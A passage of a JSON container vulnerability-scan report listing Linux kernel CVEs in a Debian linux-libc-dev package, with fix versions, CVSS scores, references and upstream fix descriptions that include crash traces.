"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23315", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/4e10a730d1b511ff49723371ed6d694dd1b2c785%20%287.0-rc3%29", "https://git.kernel.org/stable/c/0fb3b94a9431a3800717e5c3b6fa2e1045a15029", "https://git.kernel.org/stable/c/4e10a730d1b511ff49723371ed6d694dd1b2c785", "https://git.kernel.org/stable/c/7ae7b093b7dba9548a3bc4766b9364b97db4732d", "https://git.kernel.org/stable/c/7b692dff8df0ba5feb8df00f27d906d6eb1fe627", "https://git.kernel.org/stable/c/84419556359bc96d3fe1623d47a64c86542566cc", "https://git.kernel.org/stable/c/9612d91f617231e03c49cb9b0c02f975a3b4f51f", "https://linux.oracle.com/cve/CVE-2026-23315.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032529-CVE-2026-23315-9ac1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23315", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23315" ], "PublishedDate": "2026-03-25T11:16:27.897Z", "LastModifiedDate": "2026-11-05T22:18:14.52Z" }, { "VulnerabilityID": "CVE-2026-23318", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23318", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f4c751eed4c3c436aff2b51dc85b6b9b0310c8714be2afd862fcbe4dcf69ea0e", "Title": "kernel: ALSA: usb-audio: Use correct version for UAC3 header validation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Use correct version for UAC3 header validation\n\nThe entry of the validators table for UAC3 AC header descriptor is\ndefined with the wrong protocol version UAC_VERSION_2, while it should\nhave been UAC_VERSION_3. This results in the validator never matching\nfor actual UAC3 devices (protocol == UAC_VERSION_3), causing their\nheader descriptors to bypass validation entirely. A malicious USB\ndevice presenting a truncated UAC3 header could exploit this to cause\nout-of-bounds reads when the driver later accesses unvalidated\ndescriptor fields.\n\nThe bug was introduced in the same commit as the recently fixed UAC3\nfeature unit sub-type typo, and appears to be from the same copy-paste\nerror when the UAC3 section was created from the UAC2 section.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23318", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/54f9d645a5453d0bfece0c465d34aaf072ea99fa%20%287.0-rc2%29", "https://git.kernel.org/stable/c/0dcd1ed96c03459cf14706885c9dd3c1fd8bd29f", "https://git.kernel.org/stable/c/1e5753ff4c2e86aa88516f97a224c90a3d0b133e", "https://git.kernel.org/stable/c/499ffd15b00dc91ac95c28f76959dfb5cdcc84d5", "https://git.kernel.org/stable/c/54f9d645a5453d0bfece0c465d34aaf072ea99fa", "https://git.kernel.org/stable/c/82a7d0a1b88798de1a609130080ce0c65dd869e9", "https://git.kernel.org/stable/c/8307d93e63d5f54ef10412d4db2dd551e920dee4", "https://git.kernel.org/stable/c/a0c6ae2ea84528f198bf7fd0117f12fd0cf6d7cc", "https://git.kernel.org/stable/c/d3904ca40515272681ae61ad6f561c24f190957f", "https://linux.oracle.com/cve/CVE-2026-23318.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032530-CVE-2026-23318-bef0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23318", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23318" ], "PublishedDate": "2026-03-25T11:16:28.39Z", "LastModifiedDate": "2026-11-05T22:18:14.87Z" }, { "VulnerabilityID": "CVE-2026-23319", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23319", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b0384c0c32181c1f0e7b1ffd3122e740e0f979265a3a5b22cb7ec3fdd5e884c7", "Title": "kernel: bpf: Fix a UAF issue in bpf_trampoline_link_cgroup_shim", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix a UAF issue in bpf_trampoline_link_cgroup_shim\n\nThe root cause of this bug is that when 'bpf_link_put' reduces the\nrefcount of 'shim_link-\u003elink.link' to zero, the resource is considered\nreleased but may still be referenced via 'tr-\u003eprogs_hlist' in\n'cgroup_shim_find'. The actual cleanup of 'tr-\u003eprogs_hlist' in\n'bpf_shim_tramp_link_release' is deferred. During this window, another\nprocess can cause a use-after-free via 'bpf_trampoline_link_cgroup_shim'.\n\nBased on Martin KaFai Lau's suggestions, I have created a simple patch.\n\nTo fix this:\n Add an atomic non-zero check in 'bpf_trampoline_link_cgroup_shim'.\n Only increment the refcount if it is not already zero.\n\nTesting:\n I verified the fix by adding a delay in\n 'bpf_shim_tramp_link_release' to make the bug easier to trigger:\n\nstatic void bpf_shim_tramp_link_release(struct bpf_link *link)\n{\n\t/* ... */\n\tif (!shim_link-\u003etrampoline)\n\t\treturn;\n\n+\tmsleep(100);\n\tWARN_ON_ONCE(bpf_trampoline_unlink_prog(\u0026shim_link-\u003elink,\n\t\tshim_link-\u003etrampoline, NULL));\n\tbpf_trampoline_put(shim_link-\u003etrampoline);\n}\n\nBefore the patch, running a PoC easily reproduced the crash(almost 100%)\nwith a call trace similar to KaiyanM's report.\nAfter the patch, the bug no longer occurs even after millions of\niterations.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23319", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/56145d237385ca0e7ca9ff7b226aaf2eb8ef368b%20%287.0-rc3%29", "https://git.kernel.org/stable/c/3eeddb80191f7626ec1ef742bfff51ec3b0fa5c2", "https://git.kernel.org/stable/c/4e8a0005d633a4adc98e3b65d5080f93b90d356b", "https://git.kernel.org/stable/c/529e685e522b9d7fb379dbe6929dcdf520e34c8c", "https://git.kernel.org/stable/c/56145d237385ca0e7ca9ff7b226aaf2eb8ef368b", "https://git.kernel.org/stable/c/9b02c5c4147f8af8ed783c8deb5df927a55c3951", "https://git.kernel.org/stable/c/cfcfa0ca0212162aa472551266038e8fd6768cff", "https://linux.oracle.com/cve/CVE-2026-23319.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032530-CVE-2026-23319-1e3d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23319", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23319" ], "PublishedDate": "2026-03-25T11:16:28.57Z", "LastModifiedDate": "2026-10-15T02:18:49.593Z" }, { "VulnerabilityID": "CVE-2026-23325", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23325", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d7dc22cfb037a090a87020102a5122b680d5ef0761c019beab685a5e06678a90", "Title": "kernel: wifi: mt76: mt7996: Fix possible oob access in mt7996_mac_write_txwi_80211()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mt76: mt7996: Fix possible oob access in mt7996_mac_write_txwi_80211()\n\nCheck frame length before accessing the mgmt fields in\nmt7996_mac_write_txwi_80211 in order to avoid a possible oob access.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23325", "https://git.kernel.org/linus/60862846308627e9e15546bb647a00de44deb27b%20%287.0-rc3%29", "https://git.kernel.org/stable/c/45661d22639c4b747ef1bd0822b8e76e421a808a", "https://git.kernel.org/stable/c/60862846308627e9e15546bb647a00de44deb27b", "https://git.kernel.org/stable/c/a6605f61913155e130bfd04d438c3ce1a572fb0f", "https://git.kernel.org/stable/c/ca1adc04fc2cb1d9f1842e429debe6a520d54966", "https://git.kernel.org/stable/c/f4cdf6b43689e901a341e7147fcfb25057c38eae", "https://lore.kernel.org/linux-cve-announce/2026032531-CVE-2026-23325-4e3b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23325", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23325" ], "PublishedDate": "2026-03-25T11:16:29.537Z", "LastModifiedDate": "2026-06-17T10:21:19.917Z" }, { "VulnerabilityID": "CVE-2026-23327", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23327", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b721001bd476a9d919072469d63e8471733f45e7f5641f5967ad7d2d59365c08", "Title": "kernel: cxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()\n\ncxl_payload_from_user_allowed() casts and dereferences the input\npayload without first verifying its size. When a raw mailbox command\nis sent with an undersized payload (ie: 1 byte for CXL_MBOX_OP_CLEAR_LOG,\nwhich expects a 16-byte UUID), uuid_equal() reads past the allocated buffer,\ntriggering a KASAN splat:\n\nBUG: KASAN: slab-out-of-bounds in memcmp+0x176/0x1d0 lib/string.c:683\nRead of size 8 at addr ffff88810130f5c0 by task syz.1.62/2258\n\nCPU: 2 UID: 0 PID: 2258 Comm: syz.1.62 Not tainted 6.19.0-dirty #3 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xab/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x650 mm/kasan/report.c:482\n kasan_report+0xce/0x100 mm/kasan/report.c:595\n memcmp+0x176/0x1d0 lib/string.c:683\n uuid_equal include/linux/uuid.h:73 [inline]\n cxl_payload_from_user_allowed drivers/cxl/core/mbox.c:345 [inline]\n cxl_mbox_cmd_ctor drivers/cxl/core/mbox.c:368 [inline]\n cxl_validate_cmd_from_user drivers/cxl/core/mbox.c:522 [inline]\n cxl_send_cmd+0x9c0/0xb50 drivers/cxl/core/mbox.c:643\n __cxl_memdev_ioctl drivers/cxl/core/memdev.c:698 [inline]\n cxl_memdev_ioctl+0x14f/0x190 drivers/cxl/core/memdev.c:713\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xa8/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fdaf331ba79\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fdaf1d77038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007fdaf3585fa0 RCX: 00007fdaf331ba79\nRDX: 00002000000001c0 RSI: 00000000c030ce02 RDI: 0000000000000003\nRBP: 00007fdaf33749df R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fdaf3586038 R14: 00007fdaf3585fa0 R15: 00007ffced2af768\n \u003c/TASK\u003e\n\nAdd 'in_size' parameter to cxl_payload_from_user_allowed() and validate\nthe payload is large enough.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23327", "https://git.kernel.org/linus/60b5d1f68338aff2c5af0113f04aefa7169c50c2%20%287.0-rc2%29", "https://git.kernel.org/stable/c/3555e41737c0f8b5b53a511573661477e3942dee", "https://git.kernel.org/stable/c/483b7eb4b1b2a03235afe1b274732dcf8231d4ec", "https://git.kernel.org/stable/c/60b5d1f68338aff2c5af0113f04aefa7169c50c2", "https://git.kernel.org/stable/c/7c8a7b7f063b7e7ae9bba4cbaa14a5d2fe3a55e1", "https://git.kernel.org/stable/c/c0874ca9282ccf5aeae559c697dd1feb577aad0e", "https://git.kernel.org/stable/c/dc184ac2f0ba77ae19725ee06ad3ab36bb9d1f61", "https://lore.kernel.org/linux-cve-announce/2026032532-CVE-2026-23327-c497@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23327", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-23327" ], "PublishedDate": "2026-03-25T11:16:29.837Z", "LastModifiedDate": "2026-11-05T22:18:15.06Z" }, { "VulnerabilityID": "CVE-2026-23343", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23343", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e7fb425ad2b909f053c0060a3c62461ae248e4d4a007d75e6baed663ddad2634", "Title": "kernel: xdp: produce a warning when calculated tailroom is negative", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: produce a warning when calculated tailroom is negative\n\nMany ethernet drivers report xdp Rx queue frag size as being the same as\nDMA write size. However, the only user of this field, namely\nbpf_xdp_frags_increase_tail(), clearly expects a truesize.\n\nSuch difference leads to unspecific memory corruption issues under certain\ncircumstances, e.g. in ixgbevf maximum DMA write size is 3 KB, so when\nrunning xskxceiver's XDP_ADJUST_TAIL_GROW_MULTI_BUFF, 6K packet fully uses\nall DMA-writable space in 2 buffers. This would be fine, if only\nrxq-\u003efrag_size was properly set to 4K, but value of 3K results in a\nnegative tailroom, because there is a non-zero page offset.\n\nWe are supposed to return -EINVAL and be done with it in such case, but due\nto tailroom being stored as an unsigned int, it is reported to be somewhere\nnear UINT_MAX, resulting in a tail being grown, even if the requested\noffset is too much (it is around 2K in the abovementioned test). This later\nleads to all kinds of unspecific calltraces.\n\n[ 7340.337579] xskxceiver[1440]: segfault at 1da718 ip 00007f4161aeac9d sp 00007f41615a6a00 error 6\n[ 7340.338040] xskxceiver[1441]: segfault at 7f410000000b ip 00000000004042b5 sp 00007f415bffecf0 error 4\n[ 7340.338179] in libc.so.6[61c9d,7f4161aaf000+160000]\n[ 7340.339230] in xskxceiver[42b5,400000+69000]\n[ 7340.340300] likely on CPU 6 (core 0, socket 6)\n[ 7340.340302] Code: ff ff 01 e9 f4 fe ff ff 0f 1f 44 00 00 4c 39 f0 74 73 31 c0 ba 01 00 00 00 f0 0f b1 17 0f 85 ba 00 00 00 49 8b 87 88 00 00 00 \u003c4c\u003e 89 70 08 eb cc 0f 1f 44 00 00 48 8d bd f0 fe ff ff 89 85 ec fe\n[ 7340.340888] likely on CPU 3 (core 0, socket 3)\n[ 7340.345088] Code: 00 00 00 ba 00 00 00 00 be 00 00 00 00 89 c7 e8 31 ca ff ff 89 45 ec 8b 45 ec 85 c0 78 07 b8 00 00 00 00 eb 46 e8 0b c8 ff ff \u003c8b\u003e 00 83 f8 69 74 24 e8 ff c7 ff ff 8b 00 83 f8 0b 74 18 e8 f3 c7\n[ 7340.404334] Oops: general protection fault, probably for non-canonical address 0x6d255010bdffc: 0000 [#1] SMP NOPTI\n[ 7340.405972] CPU: 7 UID: 0 PID: 1439 Comm: xskxceiver Not tainted 6.19.0-rc1+ #21 PREEMPT(lazy)\n[ 7340.408006] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-5.fc42 04/01/2014\n[ 7340.409716] RIP: 0010:lookup_swap_cgroup_id+0x44/0x80\n[ 7340.410455] Code: 83 f8 1c 73 39 48 ba ff ff ff ff ff ff ff 03 48 8b 04 c5 20 55 fa bd 48 21 d1 48 89 ca 83 e1 01 48 d1 ea c1 e1 04 48 8d 04 90 \u003c8b\u003e 00 48 83 c4 10 d3 e8 c3 cc cc cc cc 31 c0 e9 98 b7 dd 00 48 89\n[ 7340.412787] RSP: 0018:ffffcc5c04f7f6d0 EFLAGS: 00010202\n[ 7340.413494] RAX: 0006d255010bdffc RBX: ffff891f477895a8 RCX: 0000000000000010\n[ 7340.414431] RDX: 0001c17e3fffffff RSI: 00fa070000000000 RDI: 000382fc7fffffff\n[ 7340.415354] RBP: 00fa070000000000 R08: ffffcc5c04f7f8f8 R09: ffffcc5c04f7f7d0\n[ 7340.416283] R10: ffff891f4c1a7000 R11: ffffcc5c04f7f9c8 R12: ffffcc5c04f7f7d0\n[ 7340.417218] R13: 03ffffffffffffff R14: 00fa06fffffffe00 R15: ffff891f47789500\n[ 7340.418229] FS: 0000000000000000(0000) GS:ffff891ffdfaa000(0000) knlGS:0000000000000000\n[ 7340.419489] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 7340.420286] CR2: 00007f415bfffd58 CR3: 0000000103f03002 CR4: 0000000000772ef0\n[ 7340.421237] PKRU: 55555554\n[ 7340.421623] Call Trace:\n[ 7340.421987] \u003cTASK\u003e\n[ 7340.422309] ? softleaf_from_pte+0x77/0xa0\n[ 7340.422855] swap_pte_batch+0xa7/0x290\n[ 7340.423363] zap_nonpresent_ptes.constprop.0.isra.0+0xd1/0x270\n[ 7340.424102] zap_pte_range+0x281/0x580\n[ 7340.424607] zap_pmd_range.isra.0+0xc9/0x240\n[ 7340.425177] unmap_page_range+0x24d/0x420\n[ 7340.425714] unmap_vmas+0xa1/0x180\n[ 7340.426185] exit_mmap+0xe1/0x3b0\n[ 7340.426644] __mmput+0x41/0x150\n[ 7340.427098] exit_mm+0xb1/0x110\n[ 7340.427539] do_exit+0x1b2/0x460\n[ 7340.427992] do_group_exit+0x2d/0xc0\n[ 7340.428477] get_signal+0x79d/0x7e0\n[ 7340.428957] arch_do_signal_or_restart+0x34/0x100\n[ 7340.429571] exit_to_user_mode_loop+0x8e/0x4c0\n[ 7340.430159] do_syscall_64+0x188/\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23343", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/8821e857759be9db3cde337ad328b71fe5c8a55f%20%287.0-rc3%29", "https://git.kernel.org/stable/c/01379540452a02bbc52f639d45dd365cd3624efb", "https://git.kernel.org/stable/c/8821e857759be9db3cde337ad328b71fe5c8a55f", "https://git.kernel.org/stable/c/94b9da7e9f958cb3d115b21eff824ecd8c3217aa", "https://git.kernel.org/stable/c/98cd8b4d0b836d3edf70161f40efd9cbb8c8f252", "https://git.kernel.org/stable/c/a0fb59f527d03c60b2cd547cfae4a842ad84670f", "https://git.kernel.org/stable/c/c7c790a07697148c41e2d03eb28efe132adda749", "https://linux.oracle.com/cve/CVE-2026-23343.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032535-CVE-2026-23343-dc2b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23343", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23343" ], "PublishedDate": "2026-03-25T11:16:32.3Z", "LastModifiedDate": "2026-11-05T22:18:15.963Z" }, { "VulnerabilityID": "CVE-2026-23354", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23354", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2906ec7222803ae6a32a1337dca2b55ad045e7a385bd4478a4731a475492ff67", "Title": "kernel: x86/fred: Correct speculative safety in fred_extint()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/fred: Correct speculative safety in fred_extint()\n\narray_index_nospec() is no use if the result gets spilled to the stack, as\nit makes the believed safe-under-speculation value subject to memory\npredictions.\n\nFor all practical purposes, this means array_index_nospec() must be used in\nthe expression that accesses the array.\n\nAs the code currently stands, it's the wrong side of irqentry_enter(), 